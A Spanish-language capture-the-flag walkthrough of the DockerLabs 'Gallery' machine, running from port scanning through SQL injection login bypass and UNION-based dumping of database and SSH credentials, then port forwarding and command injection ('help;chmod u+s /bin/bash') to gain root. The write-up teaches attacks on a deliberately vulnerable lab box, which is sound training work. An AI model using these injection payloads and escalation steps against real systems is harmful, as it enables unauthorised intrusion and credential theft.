Gallery DockerLabs (Hard)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip gallery.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh gallery.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 03:18 EDT
Nmap scan report for bicho.dl (172.17.0.2)
Host is up (0.00011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 19:95:1a:f2:f6:7a:a1:f1:ba:16:4b:58:a0:59:f2:02 (ECDSA)
|_ 256 e7:e9:8f:b8:db:94:c2:68:11:4c:25:81:f1:ac:cd:ac (ED25519)
80/tcp open http PHP cli server 5.5 or later (PHP 8.3.6)
|_http-title: Galer\xC3\xADa de Arte Digital
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds
Veremos que hay un puerto 80
en el que aloja una pagina web, si nos metemos dentro veremos una tipica pagina de una galeria de una obra de arte, pero en la esquina derecha superior veremos un boton de inicio
de sesion en el cual si entramos dentro veremos un login
bastante interesante, vamos a probar a ver si fuera vulnerable a un SQLi
.
User: ' OR 1=1-- -
Pass: ' OR 1=1-- -
Si ponemos esa combinacion tan basica de un SQLi
veremos que nos loguea, por lo que sabremos que es vulnerable a un SQL Injecction
una vez echo eso, veremos esto siguiente:

Vemos varios campos en los cuales podemos probar a ver si hubiera algun otro parametro vulnerable para segurarnos, vamos a ir probando en todos combinaciones basicas para poder mostrar la informacion de las DDBBs
u otro tipo de inyecciones.
Si metemos lo mas basico de nuevo ' OR 1=1-- -
en los 2 primeros campos
del formulario, y le damos a enviar, veremos esto:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 in /var/www/html/dashboard.php:16 Stack trace: #0 /var/www/html/dashboard.php(16): mysqli_query() #1 {main} thrown in /var/www/html/dashboard.php on line 16
Vemos que efectivamente es vulnerable a un SQLi
y nos esta mostrando informacion de lo que ha petado a nivel de DDBB
.
Escalate user sam
Vamos a intentar descubrir cuantas columnas tiene la DDBB
para poder realizar dicho SQLi
.
' ORDER BY 5-- -
Si eso lo ponemos en la parte de:

Veremos que no nos da un error, pero si probamos el 6
ya si, por lo que ya sabemos que tiene 5
columnas y ahora podemos pasar a ver si funciona la siguiente SQLi
de esta forma:
' UNION SELECT null, database(), null, null, null-- -
Si hacemos esto, veremos que nos funciona, ya que aparece otro recuadro mas en la pagina mostrando esto:
gallery_db
Por lo que sabemos que la segunda opcion del SELECT
es vulnerable, por lo que vamos a intentar enumerar las tablas que hay dentro de la DDBB
llamada gallery_db
.
' UNION SELECT null, table_name, null, null, null FROM information_schema.tables WHERE table_schema=database()-- -
Info:
artworks
users
Vemos que nos sigue funcionando y hemos encontrado 2
tablas, por lo que vamos a ver que contiene la tabla users
que es la que mas nos interesa.
' UNION SELECT null, column_name, null, null, null FROM information_schema.columns WHERE table_name='users'-- -
Info:
id
password
username
Vemos que tiene 3
columnas, por lo que ahora sabiendo todo esto, ya si que podremos extraer la informacion de dicha tabla de la siguiente forma:
' UNION SELECT id, username, password, null, null FROM users-- -
O
' UNION SELECT null, CONCAT(username, ':', password), null, null, null FROM users-- -
La segunda opcion es para tenerlo mas ordenado, viendose de esta forma username:password
y si hacemos esto veremos lo siguiente:
admin:2O]L)W{6c>Xx=Eu2#SV82%O%$#W}b3<
Podemos ver que obtuvimos solamente unas credenciales, pero no nos servira de mucho, si listamos esta vez todas las DDBBs
veremos lo siguiente:
' UNION SELECT null, schema_name, null, null, null FROM information_schema.schemata-- -
Info:
mysql
information_schema
performance_schema
sys
gallery_db
secret_db
Vemos que hay una llamada secret_db
por lo que vamos a sacar informacion de dicha tabla.
' UNION SELECT null, table_name, null, null, null FROM information_schema.tables WHERE table_schema='secret_db'-- -
Info:
secret
Veremos que hay una tabla llamada secret
por lo que vamos a ver cuantas columnas tiene.
' UNION SELECT null, column_name, null, null, null FROM information_schema.columns WHERE table_schema='secret_db' AND table_name='secret'-- -
Info:
id
ssh_pass
ssh_users
Vemos varias cosas interesantes, por lo que vemos hay credenciales de usuarios para conetcarnos por SSH
vamos a extraer la informacion de la siguiente forma:
' UNION SELECT id, ssh_users, ssh_pass, null, null FROM secret_db.secret-- -
O
' UNION SELECT null, CONCAT(ssh_users, ':', ssh_pass), null, null, null FROM secret_db.secret-- -
Info:
sam:$uper$ecretP4$$w0rd123
Veremos que obtuvimos las credenciales para conectarnos por SSH
por lo que haremos lo siguiente:
SSH
ssh sam@<IP>
Metemos como contraseña $uper$ecretP4$$w0rd123
y vereremos que estamos dentro.
Escalate Privileges
Estando dentro si intentamos ver los puertos que que hay en la maquina victima a nivel local no podremos hacerlo con las herramientas tipicas como ss
o netstat
, pero si veremos que tenemos nmap
instalado, por lo que vamos a realizar lo siguiente:
nmap -p- 127.0.0.1
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-07 10:43 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000049s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8888/tcp open sun-answerbook
33060/tcp open mysqlx
Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds
Vemos que el que mas nos atrae es el puerto 8888
por lo que vamos a pasarnoslo a nuestra maquina host
a ver que vemos, esto lo podremos hacer mediante SSH
realizando un portforwarding
.
Maquina Host
ssh sam@<IP> -L 8888:localhost:8888
Metemos como contraseña $uper$ecretP4$$w0rd123
y estaremos de nuevo dentro de la maquina pero habiendo redirigido el flujo del puerto a la maquina host
por lo que si nos metemos ahora en esta direccion:
URL = http://localhost:8888/
Veremos esto:

Vemos que ha funcionado y estaremos viendo la pagina que esta en local en la maquina victima del puerto 8888
.
Si en la pagina ponemos cualquier comando que no sea valido, nos pondra que consultemos al help
, pero solamente nos apareceran una serie de comandos que no nos serviran de mucho, si probamos a concatenar comandos a ver si se ejecuta veremos que si funciona:
help;id
Info:

Vemos que lo esta ejecutando todo root
, por lo que vamos a probar a establecer la bash
con permisos SUID
de la siguiente forma:
help;chmod u+s /bin/bash
Ahora si nos volvemos a donde tenemos la shell
con el usuario sam
y listamos la bash
veremos lo siguiente:
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Veremos que ha funcionado, por lo que haremos lo siguiente para ser el usuario root
.
bash -p
Info:
bash-5.2# whoami
root
Con esto ya seremos el usuario root
por lo que habremos terminado la maquina.
Last updated